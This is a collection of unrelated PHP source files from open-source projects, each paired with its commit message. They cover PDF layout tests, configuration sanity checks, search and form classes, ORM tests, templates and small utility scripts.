            // TODO: Heredocs can be nicely indented starting with PHP 7.3
            "one page" => [
                <<<HTML
<!DOCTYPE html>

<meta charset="UTF-8">

HTML
,
                1,
                ["box" => 1]
            ],
            "two pages" => [
                <<<HTML
<!DOCTYPE html>

<meta charset="UTF-8">

HTML
,
                2,
                ["box" => 2]
            ],
        ];
    }

    /**
     * @dataProvider pageBreakProvider
     */
    public function testPageBreak(
        string $html,
        int $pageCount,
        array $expectedPages
    ): void {
        $elementPages = [];

        $options = new Options();
        $options->setLogOutputFile("");

        // Use callback to inspect frame tree
        $dompdf = new Dompdf($options);
        $dompdf->setCallbacks([
            [
                "event" => "begin_frame",
                "f" => function ($info) use ($expectedPages, &$elementPages) {
                    /** @var Canvas */
                    $canvas = $info["canvas"];
                    /** @var AbstractFrameDecorator */
                    $frame = $info["frame"];
                    $node = $frame->get_node();

                    if (!($node instanceof DOMElement)) {
                        return;
                    }

                    $class = $node->getAttribute("class");

                    if (isset($expectedPages[$class])) {
                        $elementPages[$class] = $canvas->get_page_number();
                    }
                }
            ]
        ]);

        $dompdf->loadHtml($html);
        $dompdf->render();

        $this->assertSame($pageCount, $dompdf->getCanvas()->get_page_count());

        foreach ($expectedPages as $class => $pageNumber) {
            $this->assertSame($pageNumber, $elementPages[$class] ?? 0);
        }
    }
}

Add basic tests for page breaks/styles

Add basic tests for page breaks/styles

This is mostly exploration on how to test layout assertions. Having
each test case define a full document makes it easy to copy and render
the document for manual testing, e.g. if it is unclear why a test case
fails. Having the doctype defined makes sure that quirks mode does not
affect rendering when viewing the test case in a browser.


<?php
/**
 * Hook to do sanitycheck
 *
 * @param array &$hookinfo  hookinfo
 */
function core_hook_sanitycheck(&$hookinfo) {
	assert('is_array($hookinfo)');
	assert('array_key_exists("errors", $hookinfo)');
	assert('array_key_exists("info", $hookinfo)');

	$config = SimpleSAML_Configuration::getInstance();

	if($config->getValue('auth.adminpassword', '123') === '123') {
		$hookinfo['errors'][] = '[core] Password in config.php is not set properly';
	} else {
		$hookinfo['info'][] = '[core] Password in config.php is set properly';
	}

	if($config->getValue('technicalcontact_email', 'na@example.org') === 'na@example.org') {
		$hookinfo['errors'][] = '[core] In config.php technicalcontact_email is not set properly';
	} else {
		$hookinfo['info'][] = '[core] In config.php technicalcontact_email is set properly';
	}

	if (version_compare(phpversion(), '5.2', '>=')) {
		$hookinfo['info'][] = '[core] You are running PHP version ' . phpversion() . '. Great.';
	} elseif( version_compare(phpversion(), '5.1.2', '>=')) {
		$hookinfo['info'][] = '[core] You are running PHP version ' . phpversion() . '. Its reccomended to upgrade to >= 5.2';
	} else {
		$hookinfo['errors'][] = '[core] You are running PHP version ' . phpversion() . '. SimpleSAMLphp requires version >= 5.1.2, and reccomends version >= 5.2. Please upgrade!';
	}

}
?>

Add some sanity checks to core module, whether config is good and php version is fine


<?php
/**
 * Created by PhpStorm.
 * User: dxcrawford
 * Date: 27/08/15
 * Time: 14:06
 */

namespace Elfiggo\Brobdingnagian\Report;

interface Handler {

}

Add Reporter to handle different ways of reporting errors


<?php

namespace SocalNick\Orchestrate;

class SearchOperation implements OperationInterface
{
  protected $collection;
  protected $query = '*';
  protected $limit = 10;
  protected $offset = 0;

  public function __construct($collection, $query = '*', $limit = 10, $offset = 0)
  {
    $this->collection = $collection;
    $this->query = $query;
    $this->limit = $limit;
    if ($limit > 100) {
      trigger_error(sprintf('Invalid limit: %d. Maximum is 100', $limit));
      $limit = 100;
    }
    $this->offset = $offset;
  }

  public function getEndpoint()
  {
    $queryParams = array(
      'query' => $this->query,
      'limit' => $this->limit,
      'offset' => $this->offset,
    );

    return $this->collection . '/?' . http_build_query($queryParams);
  }

  public function getObjectFromResponse($link = null, $value = null, $rawValue = null)
  {
    return new SearchResult($this->collection, $value, $rawValue);
  }
}

<?php

namespace SocalNick\Orchestrate;

class SearchOperation implements OperationInterface
{
  protected $collection;
  protected $query = '*';
  protected $limit = 10;
  protected $offset = 0;
  protected $sort = null;

  public function __construct($collection, $query = '*', $limit = 10, $offset = 0, $sort = null)
  {
    $this->collection = $collection;
    $this->query = $query;
    $this->limit = $limit;
    $this->sort = $sort;
    if ($limit > 100) {
      trigger_error(sprintf('Invalid limit: %d. Maximum is 100', $limit));
      $limit = 100;
    }
    $this->offset = $offset;
  }

  public function getEndpoint()
  {
    $queryParams = array(
      'query' => $this->query,
      'limit' => $this->limit,
      'offset' => $this->offset,
      'sort' => $this->sort,
    );

    return $this->collection . '/?' . http_build_query($queryParams);
  }

  public function getObjectFromResponse($link = null, $value = null, $rawValue = null)
  {
    return new SearchResult($this->collection, $value, $rawValue);
  }
}

Add support for the sort parameter when performing a search


<?php

if (!function_exists('get_view')) {
    function get_view($name = 'index', $data = [])
    {
        global $active, $slider, $custom_stylesheet, $custom_script;

        foreach ($data as $key => $value) {
            ${$key} = $value;
        }

        $filename = __DIR__.'/../template/'.$name.'.php';

        if (is_file($filename)) {
            return include($filename);
        }
        else
            throw new Exception("Template $name tidak ada.");

        return null;
    }
}

if (!function_exists('get_header_slider')) {
    function get_header_slider($name = 'default', $data = [])
    {
        $data = array_merge($data, ['slider' => true]);

        return get_header($name, $data);
    }
}

if (!function_exists('get_header')) {
    function get_header($name = 'default', $data = [])
    {
        return get_view('header_'.$name, $data);
    }
}

if (!function_exists('get_footer')) {
    function get_footer($name = 'default', $data = [])
    {
        return get_view('footer_'.$name, $data);
    }
}

if (!function_exists('custom_stylesheet')) {
    function custom_stylesheet()
    {
        ob_start();
    }
}

if (!function_exists('endcustom_stylesheet')) {
    function endcustom_stylesheet()
    {
        global $custom_stylesheet;

        $custom_stylesheet .= ob_get_contents();

        ob_end_clean();
    }
}

if (!function_exists('custom_script')) {
    function custom_script()
    {
        ob_start();
    }
}

if (!function_exists('endcustom_script')) {
    function endcustom_script()
    {
        global $custom_script;

        $custom_script .= ob_get_contents();

        ob_end_clean();
    }
}

Add helper for template general

Add helper for template general


<?php

namespace Doctrine\Tests\ORM\Functional\Ticket;

class DDC3582Test extends \Doctrine\Tests\OrmFunctionalTestCase
{
    function testNestedEmbeddablesAreHydratedWithProperClass()
    {
        $this->_schemaTool->createSchema([$this->_em->getClassMetadata(DDC3582Entity::CLASSNAME)]);
        $this->_em->persist(new DDC3582Entity('foo'));
        $this->_em->flush();
        $this->_em->clear();

        /** @var DDC3582Entity $entity */
        $entity = $this->_em->find(DDC3582Entity::CLASSNAME, 'foo');

        $this->assertInstanceOf(DDC3582Embeddable1::CLASSNAME, $entity->embeddable1);
        $this->assertInstanceOf(DDC3582Embeddable2::CLASSNAME, $entity->embeddable1->embeddable2);
        $this->assertInstanceOf(DDC3582Embeddable3::CLASSNAME, $entity->embeddable1->embeddable2->embeddable3);
    }
}

/** @Entity */
class DDC3582Entity
{
    const CLASSNAME = __CLASS__;

    /** @Column @Id */
    private $id;

    /** @Embedded(class="DDC3582Embeddable1") @var DDC3582Embeddable1 */
    public $embeddable1;

    public function __construct($id)
    {
        $this->id = $id;
        $this->embeddable1 = new DDC3582Embeddable1();
    }
}

/** @Embeddable */
class DDC3582Embeddable1
{
    const CLASSNAME = __CLASS__;

    /** @Embedded(class="DDC3582Embeddable2") @var DDC3582Embeddable2 */
    public $embeddable2;

    public function __construct() { $this->embeddable2 = new DDC3582Embeddable2(); }
}

/** @Embeddable */
class DDC3582Embeddable2
{
    const CLASSNAME = __CLASS__;

    /** @Embedded(class="DDC3582Embeddable3") @var DDC3582Embeddable3 */
    public $embeddable3;

    public function __construct() { $this->embeddable3 = new DDC3582Embeddable3(); }
}

/** @Embeddable */
class DDC3582Embeddable3
{
    const CLASSNAME = __CLASS__;

    /** @Column */
    public $embeddedValue = 'foo';
}

Implement test to show nested embeddables are not instantiated properly


<?php
namespace Noi\Tests;

use Noi\Parsedown\JapaneseNewlineTrait;

use Parsedown;
use ParsedownTest;

use ParsedownExtra;
use ParsedownExtraTest;

/*
 * unmarkedText()をoverrideする他のExtension
 *
 * これを競合回避コードなしでJapaneseNewlineTraitと同時にuseすると、
 * unmarkedText()が競合しているため、名前の衝突エラーが発生する。
 *
 *   > Trait method unmarkedText has not been applied,
 *   > because there are collisions with other trait methods...
 */
trait ConflictExtensionTrait
{
    // override
    protected function unmarkedText($text)
    {
        return parent::unmarkedText($text);
    }
}

/*
 * Extensionを組み込む実装クラス
 *
 * 名前の衝突を回避する手順:
 *   1. 競合するExtension側のunmarkedText()に別名を付ける。
 *   2. 実装クラスにunmarkedText()を定義する。
 *   3. unmarkedText()の中で、競合Extension側のunmarkedText()を別名で呼ぶ。
 *   4. 3の結果をunmarkedJapaneseNewline()の引数に渡す。
 */
class ConflictResolutionTest_TestImpl extends Parsedown
{
    // 1. 競合するExtension側のunmarkedText()に別名を付ける
    use JapaneseNewlineTrait, ConflictExtensionTrait {
        ConflictExtensionTrait::unmarkedText as unmarkedText_Conflict;
    }

    // 2. 実装クラスにunmarkedText()を定義
    protected function unmarkedText($text)
    {
        // 3. unmarkedText()の中で、競合Extension側のunmarkedText()を別名で呼ぶ
        $text = $this->unmarkedText_Conflict($text);

        // 4. 3の結果をunmarkedJapaneseNewline()の引数に渡す
        return $this->unmarkedJapaneseNewline($text);
    }
}

class ConflictResolutionTest_TestExtraImpl extends ParsedownExtra
{
    use JapaneseNewlineTrait, ConflictExtensionTrait {
        ConflictExtensionTrait::unmarkedText as unmarkedText_Conflict;
    }

    protected function unmarkedText($text)
    {
        return $this->unmarkedJapaneseNewline($this->unmarkedText_Conflict($text));
    }
}

class ConflictResolutionTest extends ParsedownTest
{
    use JapaneseNewlineTestTrait;

    protected function initParsedown()
    {
        return new ConflictResolutionTest_TestImpl();
    }
}

class ConflictResolutionExtraTest extends ParsedownExtraTest
{
    use JapaneseNewlineTestTrait;

    protected function initParsedown()
    {
        return new ConflictResolutionTest_TestExtraImpl();
    }
}

Add a test for Conflict Resolution

Add a test for Conflict Resolution

`unmarkedText()`の競合回避コードのテストを追加しておく。

他のExtensionが`unmarkedText()`をoverrideするtraitの場合、
`JapaneseNewlineTrait`と同時に`use`するとメソッドが衝突する。

これを解決するために、以下の競合回避コードが必要:

  1. `use`時に競合Extension側の`unmarkedText()`に別名を付ける。
  2. 実装クラスに`unmarkedText()`を定義する。
  3. 実装クラスの`unmarkedText()`から、
     競合Extension側の`unmarkedText()`を別名で呼ぶ。
  4. 3の戻り値を`unmarkedJapaneseNewline()`の引数に渡す。

競合回避コードを書く場合、`JapaneseNewlineTrait`側の
`unmarkedText()`メソッドは使用しない。代わりに
`unmarkedJapaneseNewline()`を呼ぶ。

テストではこの競合回避コードが動くことを確認する。


<?php
declare(strict_types=1);

namespace Onion\Framework\Hydrator\Interfaces;

/**
 * An interface representing the methods provided by the hydration
 * traits, that allow hydration and dehydration of the current object.
 *
 * Note that all (de)hydration is performed only on public methods/properties
 *
 * @package Onion\Framework\Hydrator\Interfaces
 */
interface HydratableInterface
{
    /**
     * Populates the current object with the provided data, according to
     * the used strategy
     *
     * @param array $data Data used to populate the object
     *
     * @return object A cloned, populated instance of the current object
     */
    public function hydrate(array $data);

    /**
     * Extract data from the current object. If $keys is provided
     * it will retrieve only those keys, otherwise all "public"
     * data will be extracted from the object.
     *
     * @param array $keys (Optional) List of specific keys to extract
     *
     * @return array The extracted data
     */
    public function extract(array $keys): array;
}

Add 'hydratable' interface, that defines the methods provided by the traits


<?php

/*
 * This file is part of the Silvestra package.
 *
 * (c) Tadas Gliaubicas <tadcka89@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Silvestra\Component\Seo\Form\Type;

use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
use Symfony\Component\Validator\Constraints as Assert;

/**
 * @author Tadas Gliaubicas <tadcka89@gmail.com>
 *
 * @since 10/15/14 12:15 AM
 */
class SeoMetadataType extends AbstractType
{
    /**
     * @var string
     */
    private $seoMetadataClass;

    /**
     * Constructor.
     *
     * @param string $seoMetadataClass
     */
    public function __construct($seoMetadataClass)
    {
        $this->seoMetadataClass = $seoMetadataClass;
    }

    /**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
        $builder->add(
            'title',
            'text',
            array(
                'label' => 'form.seo_metadata.title',
                'constraints' => array(new Assert\NotBlank()),
                'required' => false,
            )
        );

        $builder->add(
            'metaDescription',
            'textarea',
            array(
                'label' => 'form.seo_metadata.meta_description',
                'required' => false,
            )
        );

        $builder->add(
            'metaKeywords',
            'textarea',
            array(
                'label' => 'form.seo_metadata.meta_keywords',
                'required' => false,
            )
        );
    }

    /**
     * {@inheritdoc}
     */
    public function setDefaultOptions(OptionsResolverInterface $resolver)
    {
        $resolver->setDefaults(
            array(
                'translation_domain' => 'SilvestraSeoBundle',
                'data_class' => $this->seoMetadataClass,
            )
        );
    }

    /**
     * {@inheritdoc}
     */
    public function getName()
    {
        return 'silvestra_seo_metadata';
    }
}

Add seo metadata form type.

Add seo metadata form type.


<?php
namespace App\Test\TestCase\Controller;

use Cake\ORM\TableRegistry;
use Cake\TestSuite\IntegrationTestCase;

class AppControllerTransitionTest extends IntegrationTestCase
{
    public $fixtures = array(
        'app.users',
        'app.users_languages',
        'app.private_messages',
    );

    public function controllerSpy($event, $controller = null) {
        parent::controllerSpy($event, $controller);

        $users = TableRegistry::get('Users');
        $user = $users->findByUsername('advanced_contributor')->first()->toArray();
        unset($user['role']);
        $user['group_id'] = 3;

        $this->_controller->Auth->setUser($user);
    }

    public function testTransitionFromGroupIdToRole() {
        $this->get('/fra/private_messages/folder/Inbox');
        $this->assertResponseOk();
    }
}

Add test for transition from 'group_id' to 'role'

This was supposed to go with 47fddf70e0777e8f92639a4939cb9d0d26149616.


<?php
  //Set the Content Type
  header('Content-type: image/jpeg');

  $matchid = $_GET["matchid"];

	//variables
  	$json_string = file_get_contents("http://www.thebluealliance.com/api/v2/match/{$matchid}?X-TBA-App-Id=frcbot:messengerchatbot:1");
    $parsed_json = json_decode($json_string);
	// Red
	$rteam1 = str_replace('frc', '', $parsed_json->{'alliances'}->{'red'}->{'teams'}[0]);
	$rteam2 = str_replace('frc', '', $parsed_json->{'alliances'}->{'red'}->{'teams'}[1]);
	$rteam3 = str_replace('frc', '', $parsed_json->{'alliances'}->{'red'}->{'teams'}[2]);
	$rscore = $parsed_json->{'alliances'}->{'red'}->{'score'};

	// Blue
	$bteam1 = str_replace('frc', '', $parsed_json->{'alliances'}->{'blue'}->{'teams'}[0]);
	$bteam2 = str_replace('frc', '', $parsed_json->{'alliances'}->{'blue'}->{'teams'}[1]);
	$bteam3 = str_replace('frc', '', $parsed_json->{'alliances'}->{'blue'}->{'teams'}[2]);
	$bscore = $parsed_json->{'alliances'}->{'blue'}->{'score'};

  // Create Image From Existing File

//to do: create the template

  $png_image = imagecreatefrompng ('https://frc-bot.github.io/FRCBot-images/messenger/MatchResultsTemplates/pre2016/template.png');

  $cor = imagecolorallocate($rImg, 0, 0, 0);

  // Print Text On Image
  //Red teams
imagestring($png_image,5,41,41,$rteam1,$cor);
imagestring($png_image,5,180,41,$rteam2,$cor);
imagestring($png_image,5,310,41,$rteam3,$cor);
imagestring($png_image,5,463,41,$rscore,$cor);

//Blue teams
imagestring($png_image,5,41,71,$bteam1,$cor);
imagestring($png_image,5,180,71,$bteam2,$cor);
imagestring($png_image,5,310,71,$bteam3,$cor);
imagestring($png_image,5,463,71,$bscore,$cor);

  // Send Image to Browser
  imagepng($png_image);

  // Clear Memory
  imagedestroy($png_image);
?>

Create php template fo pre-2016 matchs

Create php template fo pre-2016 matchs

The png template is not created yet so this doesn't work!


<?php

require_once '../../vendor/autoload.php';

use Halfpastfour\PHPChartJS\Chart\Bar;
use Halfpastfour\PHPChartJS\Options\BarOptions;

$bar = new Bar();
$bar->setId('myChart');

// Set labels
$bar->labels()->exchangeArray(["M", "T", "W", "T", "F", "S", "S"]);

// Add Datasets
$apples = $bar->createDataSet();

$apples->setLabel("apples")
       ->setBackgroundColor("rgba( 0, 150, 0, .5 )")
       ->data()->exchangeArray([12, 19, 3, 17, 28, 24, 7]);
$bar->addDataSet($apples);

$oranges = $bar->createDataSet();
$oranges->setLabel("oranges")
        ->setBackgroundColor('rgba( 255, 153, 0, .5 )')
        ->data()->exchangeArray([30, 29, 5, 5, 20, 3, 10]);
$bar->addDataSet($oranges);

/** @var BarOptions $options */
$options = $bar->options();
$xAxis = $options->getScales()->createXAxis();
$yAxis = $options->getScales()->createYAxis();

$xAxis->setDisplay(false);
$yAxis->setDisplay(false);

$options->getScales()->getXAxes()->append($xAxis);
$options->getScales()->getYAxes()->append($yAxis);

?>

<html>
<head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.4.0/Chart.bundle.min.js"></script>
</head>
<body>
<?php
// Render the chart
echo $bar->render();
?>
</body>
</html>

Add example of bar without scales

Add example of bar without scales


<?php
/**
 * Tlumx Framework (http://framework.tlumx.xyz/)
 *
 * @author    Yaroslav Kharitonchuk <yarik.proger@gmail.com>
 * @link      https://github.com/tlumx/framework
 * @copyright Copyright (c) 2016 Yaroslav Kharitonchuk
 * @license   http://framework.tlumx.xyz/license  (MIT License)
 */
namespace Tlumx\Tests\Log;

use Tlumx\Log\Writer\PdoWriter;

class PdoWriterTest extends \PHPUnit_Framework_TestCase
{
    private $dbh;

    protected function setUp()
    {
        $this->dbh = new \PDO('sqlite::memory:');
        $this->dbh->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);
        $sql = 'CREATE TABLE log ('
                . '"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, '
                . '"level" INTEGER NOT NULL, '
                . '"level_name" VARCHAR(255) NOT NULL, '
                . '"message" TEXT NOT NULL, '
                . '"creation_time" TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP'
                . ')';

        $this->dbh->exec($sql);
    }

    public function tearDown()
    {
        unset($this->dbh);
    }

    public function testImplements()
    {
        $writer = new PdoWriter($this->dbh);
        $this->assertInstanceOf('Tlumx\Log\Writer\WriterInterface', $writer);
    }

    public function testLogWrite()
    {
        $writer = new PdoWriter($this->dbh, 'log');
        $datetime = new \DateTime();
        $writer->write([
            [$datetime, 'error', 500, 'some error message'],
            [$datetime, 'warning', 400, 'some worning message']
        ]);

        $sth = $this->dbh->prepare("SELECT * FROM log");
        $sth->execute();
        $result = $sth->fetchAll(\PDO::FETCH_ASSOC);

        $this->assertEquals(500, $result[0]['level']);
        $this->assertEquals('error', $result[0]['level_name']);
        $this->assertEquals('some error message', $result[0]['message']);
        $this->assertEquals($datetime->getTimestamp(), $result[0]['creation_time']);

        $this->assertEquals(400, $result[1]['level']);
        $this->assertEquals('warning', $result[1]['level_name']);
        $this->assertEquals('some worning message', $result[1]['message']);
        $this->assertEquals($datetime->getTimestamp(), $result[1]['creation_time']);
    }
}

Add tests for PDO Writer Logger

Add tests for PDO Writer Logger


#!/usr/bin/env php
<?php
/*
 * Laconica - a distributed open-source microblogging tool
 * Copyright (C) 2009, Control Yourself, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

# Abort if called from a web server
if (isset($_SERVER) && array_key_exists('REQUEST_METHOD', $_SERVER)) {
    print "This script must be run from the command line\n";
    exit(1);
}

ini_set("max_execution_time", "0");
ini_set("max_input_time", "0");
set_time_limit(0);
mb_internal_encoding('UTF-8');

define('INSTALLDIR', realpath(dirname(__FILE__) . '/..'));
define('LACONICA', true);

require_once(INSTALLDIR . '/lib/common.php');

if ($argc < 3 || $argc > 4) {
    print "USAGE: decache.php <table> <id> [<column>]\n";
    print "Clears the cache for the object in table <table> with id <id>.\n\n";
    print "If <column> is specified, use that instead of 'id'\n";
    exit(1);
}

$table = $argv[1];
$id = $argv[2];
if ($argc > 3) {
    $column = $argv[3];
} else {
    $colum = 'id';
}

$object = Memcached_DataObject::staticGet($table, $column, $id);

if (!$object) {
    print "No such '$table' with $column = '$id'.\n";
    exit(1);
}

$result = $object->decache();

Add a script for decaching an object

Add a script for decaching an object


<?php
/**
 * @file
 * Returns the HTML for a block.
 *
 * Complete documentation for this file is available online.
 * @see https://drupal.org/node/1728246
 */
?>

<div id="<?php print $block_html_id; ?>" class="<?php print $classes; ?>"<?php print $attributes; ?>>

  <?php print render($title_prefix); ?>
  <?php if (isset($title) && !empty($title)): ?>
    <h1<?php print $title_attributes; ?>><?php print $title; ?>

  <?php endif; ?>
  <?php print render($title_suffix); ?>

    <?php print $content; ?>

Create block template so that blocks in left siderbar will use <h1> element for block title (accessibility issue).


<?php

declare(strict_types=1);

namespace Tests\Regis\BitbucketContext\Application\EventListener;

use PHPUnit\Framework\TestCase;
use League\Tactician\CommandBus;
use Regis\BitbucketContext\Application\Command;
use Regis\BitbucketContext\Application\Event;
use Regis\BitbucketContext\Application\EventListener\PullRequestReviewCommentsListener;
use Regis\BitbucketContext\Domain\Entity\PullRequestInspection;
use Regis\Kernel\Event\DomainEventWrapper;

class PullRequestReviewCommentsListenerTest extends TestCase
{
    private $bus;
    private $listener;

    public function setUp()
    {
        $this->bus = $this->createMock(CommandBus::class);

        $this->listener = new PullRequestReviewCommentsListener($this->bus);
    }

    public function testItListensToTheRightEvents()
    {
        $listenedEvents = PullRequestReviewCommentsListener::getSubscribedEvents();

        $this->assertArrayHasKey(Event\InspectionFinished::class, $listenedEvents);
    }

    public function testItSendsTheRightCommandToTheBus()
    {
        $inspection = $this->createMock(PullRequestInspection::class);

        $this->bus->expects($this->once())
            ->method('handle')
            ->with($this->isInstanceOf(Command\Inspection\SendViolationsAsComments::class));

        $this->listener->onInspectionFinished(new DomainEventWrapper(new Event\InspectionFinished($inspection)));
    }
}

Test the review comment listener

Test the review comment listener


<?php
declare(strict_types = 1);

namespace Pages\Controllers\Handlers;

use Database\Objects\TrackerInfo;
use Pages\Controllers\IControlHandler;
use Pages\IAction;
use Pages\Models\BasicMixedPageModel;
use Pages\Models\ErrorModel;
use Pages\Views\ErrorPage;
use Routing\Request;
use Session\Session;
use function Pages\Actions\view;

class LoadStringId implements IControlHandler{
  private ?string $id_ref;
  private string $title;

  private ?TrackerInfo $tracker;
  private bool $optional = false;

  public function __construct(?string &$id_ref, string $title, ?TrackerInfo $tracker = null){
    $this->id_ref = &$id_ref;
    $this->title = $title;
    $this->tracker = $tracker;
  }

  public function allowMissing(): self{
    $this->optional = true;
    return $this;
  }

  public function run(Request $req, Session $sess): ?IAction{
    $issue_id = $req->getParam('id');

    if ($issue_id === null && $this->optional){
      $this->id_ref = null;
      return null;
    }

    if ($issue_id === null){
      $page_model = new BasicMixedPageModel($req, $this->tracker);
      $error_model = new ErrorModel($page_model, 'Load Error', 'Invalid '.$this->title.'.');

      return view(new ErrorPage($error_model->load()));
    }

    $this->id_ref = $issue_id;
    return null;
  }
}

?>

Add controller handler that loads string IDs


<?php

namespace App\Repositories;

use Illuminate\Database\Eloquent\Collection;
use Illuminate\Database\Eloquent\Model;

interface RepositoryInterface
{
	/**
	 * Fetches all entities from the storage.
	 *
	 * @param array $columns
	 *
	 * @return Collection
	 */
	public function getAll(array $columns = ['*']);

	/**
	 * Fetches the specified entity from the storage.
	 *
	 * @param int   $id
	 * @param array $columns
	 *
	 * @return Model
	 */
	public function getById($id, array $columns = ['*']);

	/**
	 * Deletes the specified entity from the storage.
	 *
	 * @param int $id
	 *
	 * @return Model
	 */
	public function deleteById($id);
}

Add an interface for repsitories.

Add an interface for repsitories.


<?php

namespace Rogue\Http\Transformers\Three;

use Rogue\Models\Signup;
use Rogue\Services\Registrar;
use League\Fractal\TransformerAbstract;

class AcceptedQuantityTransformer extends TransformerAbstract
{
    /**
     * Transform resource data.
     *
     * @param int $quantity
     * @return array
     */
    public function transform($quantity)
    {
        return ['quantity' => $quantity];
    }
}

Add transformer for accepted quantity

Add transformer for accepted quantity


<?php
use Migrations\AbstractMigration;

class RemoveHashFromUsersVocabulary extends AbstractMigration
{
    public function change()
    {
        $table = $this->table('users_vocabulary');
        $table->removeColumn('hash')
              ->update();
    }
}

Remove hash column from users_vocabulary